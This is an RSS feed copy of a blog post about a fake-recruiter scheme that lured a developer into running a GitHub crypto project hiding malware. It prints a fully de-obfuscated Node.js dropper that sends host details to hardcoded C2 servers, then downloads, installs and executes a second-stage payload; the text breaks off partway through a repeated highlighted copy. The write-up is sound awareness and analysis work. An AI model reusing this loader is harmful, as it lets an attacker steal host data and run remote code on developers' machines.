<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Backdoor Archives - George Gerontakis</title>
	<atom:link href="https://blog.gerontakis.eu/category/backdoor/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.gerontakis.eu/category/backdoor/</link>
	<description>My personal Blog and more 😎</description>
	<lastBuildDate>Sun, 20 Jul 2025 21:45:25 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>From Node.js Malware on GitHub to Exposing Fake North Korean Companies</title>
		<link>https://blog.gerontakis.eu/2025/07/20/from-node-js-malware-on-github-to-exposing-fake-north-korean-companies/</link>
					<comments>https://blog.gerontakis.eu/2025/07/20/from-node-js-malware-on-github-to-exposing-fake-north-korean-companies/#comments</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Sun, 20 Jul 2025 20:15:17 +0000</pubDate>
				<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Obfuscation]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=151</guid>

					<description><![CDATA[<p>Open-source software is the beating heart of modern development, powering everything from startups to enterprise systems. But trust can be a dangerous assumption especially when it comes to obscure or rarely-audited projects. In a recent investigation, we uncovered a malware script embedded inside a public GitHub repository, hiding in plain sight under the guise of [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2025/07/20/from-node-js-malware-on-github-to-exposing-fake-north-korean-companies/">From Node.js Malware on GitHub to Exposing Fake North Korean Companies</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Open-source software is the beating heart of modern development, powering everything from startups to enterprise systems. But trust can be a dangerous assumption especially when it comes to obscure or rarely-audited projects. In a recent investigation, we uncovered a <strong>malware script embedded inside a public GitHub repository</strong>, hiding in plain sight under the guise of a crypto-related project.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img fetchpriority="high" decoding="async" width="500" height="672" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-172" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-17.png 500w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-17-223x300.png 223w" sizes="(max-width: 500px) 100vw, 500px" /></figure>
</div>


<span id="more-151"></span>



<p class="wp-block-paragraph"><strong>Short disclamer <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /></strong></p>



<p class="wp-block-paragraph">This post serves as a documented investigation of:</p>



<ul class="wp-block-list">
<li><a href="https://www.linkedin.com/in/gerontakis/">George Gerontakis</a></li>



<li><a href="https://www.linkedin.com/in/dimosthenis-kastrinakis-33a143135/" target="_blank" rel="noreferrer noopener">Dismosthenis Kastrinakis</a></li>



<li><a href="https://www.linkedin.com/in/kleonchirakis/overlay/about-this-profile/" target="_blank" rel="noreferrer noopener">Kleon Chirakis</a></li>
</ul>



<p class="wp-block-paragraph">We are not malware analysts, reverse engineers, threat hunters, or intelligence specialists. <strong>This post is the result of roughly a day and a half of independent personal research</strong>, aimed at raising awareness within the community about the risks of forking and running unverified code, as well as the dangers of social engineering. That said we would love to have community feedback and suggestions for further research.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><strong>The story begins</strong> with a recruiter from USA contacting a developer via LinkedIn about blockchain related projects opportunities. Then the recruiter gives the contact details of the following guy (<a href="https://www.linkedin.com/in/eric-su-513890368/" target="_blank" rel="noreferrer noopener">Eric Su</a>) messaging the developer for possible colaboration on a project called &#8220;<a href="https://github.com/astrabytesynchub/crypto-social-platform" target="_blank" rel="noreferrer noopener">crypto-social-platform</a>&#8221; and asks the developer to fork and localy run the project to get a better idea of it:</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="884" height="1024" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-12-884x1024.png" alt="" class="wp-image-166" style="width:431px;height:auto" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-12-884x1024.png 884w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-12-259x300.png 259w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-12-768x890.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-12.png 1021w" sizes="(max-width: 884px) 100vw, 884px" /></figure>
</div>


<p class="wp-block-paragraph">The repository in question is <a href="https://github.com/astrabytesynchub/crypto-social-platform" target="_blank" rel="noreferrer noopener">crypto-social-platform</a>, hosted under the GitHub user <a href="https://github.com/astrabytesynchub" target="_blank" rel="noreferrer noopener">astrabytesynchub</a>. What appears to be an experimental or demo platform for a blockchain-based social app is, upon closer inspection, harboring obfuscated malware logic designed to harvest system data, download external payloads, and execute them.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="927" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-13-1024x927.png" alt="" class="wp-image-167" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-13-1024x927.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-13-300x272.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-13-768x695.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-13.png 1077w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">In this post, we’ll analyze the malicious payload found in <a href="https://github.com/astrabytesynchub/crypto-social-platform/blob/master/socket/index.js" target="_blank" rel="noreferrer noopener"><code>socket/index.js</code></a>, starting at <strong>line 353</strong>. We’ll cover how the malware works, how it avoids detection, and how it exfiltrates data to attacker-controlled servers.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="217" src="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-1024x217.png" alt="" class="wp-image-168" srcset="https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-1024x217.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-300x64.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-768x163.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-1536x326.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2025/07/image-14-2048x434.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">This obfuscated JavaScript sample is a heavily scrambled Node.js loader, functioning as the first stage of a multi-step malware operation. It uses a combination of XOR encoding, base64 obfuscation, and function indirection to hide its true behavior and evade detection. The script dynamically resolves critical functionality such as file operations (<code><strong>fs</strong></code>), HTTP requests, and process execution using decoded strings. Its primary goals are to gather host information, connect to a hardcoded C2 server, and download and execute a second-stage payload within a hidden directory like <code><strong>.vscode</strong></code>. The script includes a retry loop to maintain persistence and implements silent dependency installation using <code>npm</code>. Overall, it demonstrates typical traits of JavaScript-based droppers used in targeted attacks and malware campaigns.</p>



<p class="wp-block-paragraph">After de-obfuscating the JavaScript code we have the following more clear result:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const { exec } = require('child_process');
const processModule = require('node:process');  // Node's process module (optional, process is also global)

// Gather system info
const homeDir = os.homedir();
const hostName = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();

// Global variables for later use
let baseURL = "";    // will hold the base URL for C2 server (e.g., "http://&lt;domain_or_ip>:1244")
let dataType = "";   // will hold a type/code received from server (used in URL path)
let timestamp = "";  // will hold timestamp string for communications
let hostID = "cmp";  // host identifier (will be overwritten with actual host info)

// Helper function to base64-decode a string (if needed)
function b64decode(str) {
    return Buffer.from(str, 'base64').toString('utf8');
}

// XOR-based decoder for byte arrays (used to decode obfuscated strings)
const xorKey = &#91;0x30, 0xD0, 0x59, 0x18&#93;;
function xorDecode(byteArray) {
    let decoded = "";
    for (let i = 0; i &lt; byteArray.length; i++) {
        // XOR each byte with a repeating 4-byte key
        const byte = byteArray&#91;i&#93; ^ xorKey&#91;i % xorKey.length&#93;;
        decoded += String.fromCharCode(byte);
    }
    return decoded;
}

// Pre-decoded constant values (obtained from the obfuscation logic):
const initialIPs = ["165&#91;.&#93;140&#91;.&#93;85&#91;.&#93;105", "165&#91;.&#93;140&#91;.&#93;86&#91;.&#93;106"];   // Two IP addresses to try (decoded from base64 in original)
const port = 1244;                                        // Port number to use for C2 communication
const initialResource = "/s/bc7be3873ca9";                // Initial resource path for fetching config (decoded from obfuscated string)
const secondStagePathPrefix = "/j/";                      // Prefix path for second-stage payload
const packagePath = "/p";                                 // Path for fetching package.json
const keysPath = "/keys";                                 // Path for sending back keys/info

// Decoded XOR-obfuscated strings:
const vscodeDirName = xorDecode(&#91;0x1e,0xa6,0x2a,0x7b,0x5f,0xb4,0x3c&#93;);         // ".vscode"
const secondStageFileName = xorDecode(&#91;0x44,0xb5,0x2a,0x6c,0x1e,0xba,0x2a&#93;);   // "test.js"
const packageFileName = xorDecode(&#91;0x40,0xb1,0x3a,0x73,0x51,0xb7,0x3c,0x36,0x5a,0xa3,0x36,0x76&#93;); // "package.json"
const nodeModulesDir = xorDecode(&#91;0x5e,0xbf,0x3d,0x7d,0x6f,0xbd,0x36,0x7c,0x45,0xbc,0x3c,0x6b&#93;);  // "node_modules"
const cdCommand = xorDecode(&#91;0x53,0xb4&#93;);                                     // "cd"
const npmInstallCmd = xorDecode(&#91;0x16,0xf6,0x79,0x76,0x40,0xbd,0x79,0x71,0x10,0xfd,0x74,0x6b,0x59,0xbc,0x3c,0x76,0x44&#93;); // "&amp;&amp; npm i --silent"
const nodeCommand = xorDecode(&#91;0x5e,0xbf,0x3d,0x7d&#93;);                        // "node"
const npmPrefixCmd = xorDecode(&#91;0x5e,0xa0,0x34,0x38,0x1d,0xfd,0x29,0x6a,0x55,0xb6,0x30,0x60&#93;);    // "npm --prefix"
const npmInstallCmd2 = xorDecode(&#91;0x59,0xbe,0x2a,0x6c,0x51,0xbc,0x35&#93;);       // "install"
const mkdirSyncName = b64decode("bWtkaXJTeW5j");          // "mkdirSync" (fs function name)
const writeFileSyncName = b64decode("d3JpdGVGaWxlU3luYw=="); // "writeFileSync" (fs function name)
const existsSyncName = b64decode("ZXhpc3RzU3luYw==");     // "existsSync" (fs function name)
const rmSyncName = b64decode("cm1TeW5j");                // "rmSync" (fs function name)

// Shortcut references to fs functions
const mkdirRecursive = fs&#91;mkdirSyncName&#93;;    // fs.mkdirSync
const writeFile = fs&#91;writeFileSyncName&#93;;     // fs.writeFileSync
const fileExists = fs&#91;existsSyncName&#93;;       // fs.existsSync
const removeFile = fs&#91;rmSyncName&#93;;          // fs.rmSync

// Directory where the second-stage payload will be stored (default to homedir/.vscode)
let payloadDir = path.join(homeDir, vscodeDirName);

// Ensure the payload directory exists (create .vscode folder if not present)
try {
    mkdirRecursive(payloadDir, { recursive: true });
} catch (err) {
    // If creation fails, fallback to using the home directory itself
    payloadDir = homeDir;
}

// Helper functions for second-stage operations:

// Download second-stage payload (test.js) and then proceed to package installation
function downloadPayloadAndExecute() {
    const payloadURL = baseURL + secondStagePathPrefix + dataType;  // e.g., "http://&lt;server>:1244/j/&lt;type>"
    const localPayloadPath = path.join(payloadDir, secondStageFileName);  // e.g., ".../.vscode/test.js"

    // Remove existing payload file if it exists
    try { 
        removeFile(localPayloadPath); 
    } catch (e) { /* ignore errors if file doesn't exist */ }

    // Download the second-stage JavaScript file
    request.get(payloadURL, (err, resp, body) => {
        if (!err) {
            try {
                writeFile(localPayloadPath, body);  // save the file
            } catch (e) { /* ignore write errors */ }
            // After saving the payload, attempt to fetch package.json and install dependencies
            setupAndRunPayload(payloadDir);
        }
    });
}

// Fetch package.json from C2 and handle dependency installation, then run the payload
function setupAndRunPayload(directory) {
    const packageJSONPath = path.join(directory, packageFileName);  // e.g., ".../.vscode/package.json"
    const packageURL = baseURL + packagePath;                       // e.g., "http://&lt;server>:1244/p"

    if (fileExists(packageJSONPath)) {
        // package.json already exists, proceed to install or run
        installDependenciesAndExecute(directory);
    } else {
        // Download package.json from C2
        request.get(packageURL, (err, resp, body) => {
            if (!err) {
                try {
                    writeFile(packageJSONPath, body);  // save package.json
                } catch (e) { /* ignore errors */ }
            }
            // After attempting to fetch package.json, proceed with dependency installation
            installDependenciesAndExecute(directory);
        });
    }
}

// Install dependencies (npm install) in the payload directory, then execute the payload
function installDependenciesAndExecute(directory) {
    const nodeModulesPath = path.join(directory, nodeModulesDir);
    if (fileExists(nodeModulesPath)) {
        // Dependencies already installed, run the payload directly
        executePayload(directory);
    } else {
        // Run "cd &#91;directory&#93; &amp;&amp; npm i --silent" to install dependencies
        const installCmd = `${cdCommand} "${directory}" ${npmInstallCmd}`;
        try {
            exec(installCmd, (error, stdout, stderr) => {
                // After attempting installation, run the fallback or execute payload
                finalizeInstallation(directory);
            });
        } catch (e) {
            // If exec throws, try fallback method
            finalizeInstallation(directory);
        }
    }
}

// Fallback installation using "npm --prefix &#91;dir&#93; install", then execute payload
function finalizeInstallation(directory) {
    const nodeModulesPath = path.join(directory, nodeModulesDir);
    if (fileExists(nodeModulesPath)) {
        // If node_modules now exists, run the payload
        executePayload(directory);
    } else {
        // Try alternate installation command: npm --prefix "directory" install
        const installCmd2 = `${npmPrefixCmd} "${directory}" ${npmInstallCmd2}`;
        try {
            exec(installCmd2, (error, stdout, stderr) => {
                // After second attempt, run payload regardless
                executePayload(directory);
            });
        } catch (e) {
            // Even if this fails, attempt to run payload
            executePayload(directory);
        }
    }
}

// Execute the downloaded payload using Node.js
function executePayload(directory) {
    const payloadFile = path.join(directory, secondStageFileName);
    const runCmd = `${nodeCommand} ${payloadFile}`;  // "node &#91;payload path&#93;"
    try {
        exec(runCmd, () => { /* no-op callback, run asynchronously */ });
    } catch (e) {
        /* ignore errors in execution */
    }
}

// Function to send host info ("keys") back to C2
function sendHostInfo(sessionID, customCode) {
    // Prepare form data with collected information
    const formData = {
        ts: timestamp,    // timestamp of execution
        type: dataType,   // type/code from server
        hid: hostID,      // host identifier (hostname or hostname+username)
        ss: sessionID,    // session or script identifier (server-side marker)
        cc: customCode    // custom code (e.g., campaign or client code)
    };
    // Send POST request to "&lt;baseURL>/keys" with formData
    const postOptions = {
        url: baseURL + keysPath,
        formData: formData
    };
    try {
        request.post(postOptions, () => { /* no response handling needed */ });
    } catch (e) {
        /* ignore errors */
    }
}

// Primary function to fetch initial configuration from C2
async function fetchInitialConfig(useAlternate = false) {
    // Construct URL for initial config request.
    // If useAlternate is false, use first IP; if true, use second IP.
    const ipIndex = useAlternate ? 1 : 0;
    const targetIP = initialIPs&#91;ipIndex&#93;;
    const configURL = `http://${targetIP}:${port}${initialResource}`;  // e.g., "http://165.140.85.105:1244/s/bc7be3873ca9"

    // Perform request to fetch initial config
    request.get(configURL, (error, response, body) => {
        if (error) {
            // If request fails and we haven't tried alternate IP yet, try the alternate
            if (!useAlternate) {
                fetchInitialConfig(true);
            }
            return;
        }
        // On success, expect body starting with 'ZT3' followed by base64 data
        if (typeof body === 'string' &amp;&amp; body.startsWith("ZT3")) {
            // Strip the leading marker "ZT3"
            const b64data = body.substring(3);
            try {
                const decoded = b64decode(b64data);  // Decode the remaining base64 string
                const parts = decoded.split(',');    // Expect two parts separated by comma
                // parts&#91;0&#93; = domain or IP for subsequent requests, parts&#91;1&#93; = type code
                baseURL = `http://${parts&#91;0&#93;}:${port}`;  // e.g., "http://&lt;domain>:1244"
                dataType = parts&#91;1&#93;;
            } catch (e) {
                return;  // if decoding fails, abort
            }
            // Prepare host identifier: hostname (and append username on Darwin systems)
            hostID = hostName;
            if (platform.startsWith('d')) {  // if platform is "darwin"
                hostID = hostID + '+' + userInfo.username;
            }
            // Prepare a custom code (e.g., campaign ID) to send back
            let customCode = "4A1";  // default code from obfuscated data
            try {
                // Append the script name (argv&#91;1&#93;) if available (to customCode)
                customCode += processModule.argv&#91;1&#93;;
            } catch (e) { /* ignore if process.argv not accessible */ }
            // Send host info back to server (keys)
            sendHostInfo("(((.+)+)+)", customCode);  // 'ss' field uses a specific marker string from obfuscated code
            // After sending info, proceed to download second stage payload
            downloadPayloadAndExecute();
        }
    });
}

// Main execution:
(async () => {
    // Set a timestamp for communications
    timestamp = Date.now().toString();
    // Attempt to fetch initial config (try primary IP, then fallback to secondary if needed)
    await fetchInitialConfig(false);
    // If first attempt fails, up to two more attempts will be made at 10-minute intervals:
    let attempts = 1;
    const maxAttempts = 3;
    const interval = 0x94f40;  // 0x94f40 in hex = 610,112 ms ≈ 10 minutes
    const intervalId = setInterval(() => {
        if (attempts &lt; maxAttempts) {
            fetchInitialConfig(false);
            attempts++;
        } else {
            clearInterval(intervalId);
        }
    }, interval);
})();
</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">os</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;os&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fs</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;fs&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">request</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;request&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">path</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;path&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> { </span><span style="color: #4FC1FF">exec</span><span style="color: #D4D4D4"> } = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;child_process&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">processModule</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;node:process&#39;</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// Node&#39;s process module (optional, process is also global)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Gather system info</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">homeDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">homedir</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">hostName</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">hostname</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">platform</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">platform</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">userInfo</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">userInfo</span><span style="color: #D4D4D4">();</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Global variables for later use</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;    </span><span style="color: #6A9955">// will hold the base URL for C2 server (e.g., &quot;http://&lt;domain_or_ip&gt;:1244&quot;)</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;   </span><span style="color: #6A9955">// will hold a type/code received from server (used in URL path)</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">timestamp</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// will hold timestamp string for communications</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;cmp&quot;</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// host identifier (will be overwritten with actual host info)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Helper function to base64-decode a string (if needed)</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">str</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">Buffer</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">from</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">str</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&#39;base64&#39;</span><span style="color: #D4D4D4">).</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;utf8&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// XOR-based decoder for byte arrays (used to decode obfuscated strings)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">xorKey</span><span style="color: #D4D4D4"> = &#91;</span><span style="color: #B5CEA8">0x30</span><span style="color: #D4D4D4">, </span><span style="color: #B5CEA8">0xD0</span><span style="color: #D4D4D4">, </span><span style="color: #B5CEA8">0x59</span><span style="color: #D4D4D4">, </span><span style="color: #B5CEA8">0x18</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">xorDecode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">byteArray</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">i</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">; </span><span style="color: #9CDCFE">i</span><span style="color: #D4D4D4"> &lt; </span><span style="color: #9CDCFE">byteArray</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">length</span><span style="color: #D4D4D4">; </span><span style="color: #9CDCFE">i</span><span style="color: #D4D4D4">++) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// XOR each byte with a repeating 4-byte key</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">byte</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">byteArray</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">i</span><span style="color: #D4D4D4">&#93; ^ </span><span style="color: #9CDCFE">xorKey</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">i</span><span style="color: #D4D4D4"> % </span><span style="color: #9CDCFE">xorKey</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">length</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4"> += </span><span style="color: #9CDCFE">String</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">fromCharCode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">byte</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Pre-decoded constant values (obtained from the obfuscation logic):</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">initialIPs</span><span style="color: #D4D4D4"> = [</span><span style="color: #CE9178">&quot;165&#91;.&#93;140&#91;.&#93;85&#91;.&#93;105&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;165&#91;.&#93;140&#91;.&#93;86&#91;.&#93;106&quot;</span><span style="color: #D4D4D4">];   </span><span style="color: #6A9955">// Two IP addresses to try (decoded from base64 in original)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">port</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">1244</span><span style="color: #D4D4D4">;                                        </span><span style="color: #6A9955">// Port number to use for C2 communication</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">initialResource</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/s/bc7be3873ca9&quot;</span><span style="color: #D4D4D4">;                </span><span style="color: #6A9955">// Initial resource path for fetching config (decoded from obfuscated string)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">secondStagePathPrefix</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/j/&quot;</span><span style="color: #D4D4D4">;                      </span><span style="color: #6A9955">// Prefix path for second-stage payload</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">packagePath</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/p&quot;</span><span style="color: #D4D4D4">;                                 </span><span style="color: #6A9955">// Path for fetching package.json</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">keysPath</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/keys&quot;</span><span style="color: #D4D4D4">;                                 </span><span style="color: #6A9955">// Path for sending back keys/info</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Decoded XOR-obfuscated strings:</span></span>
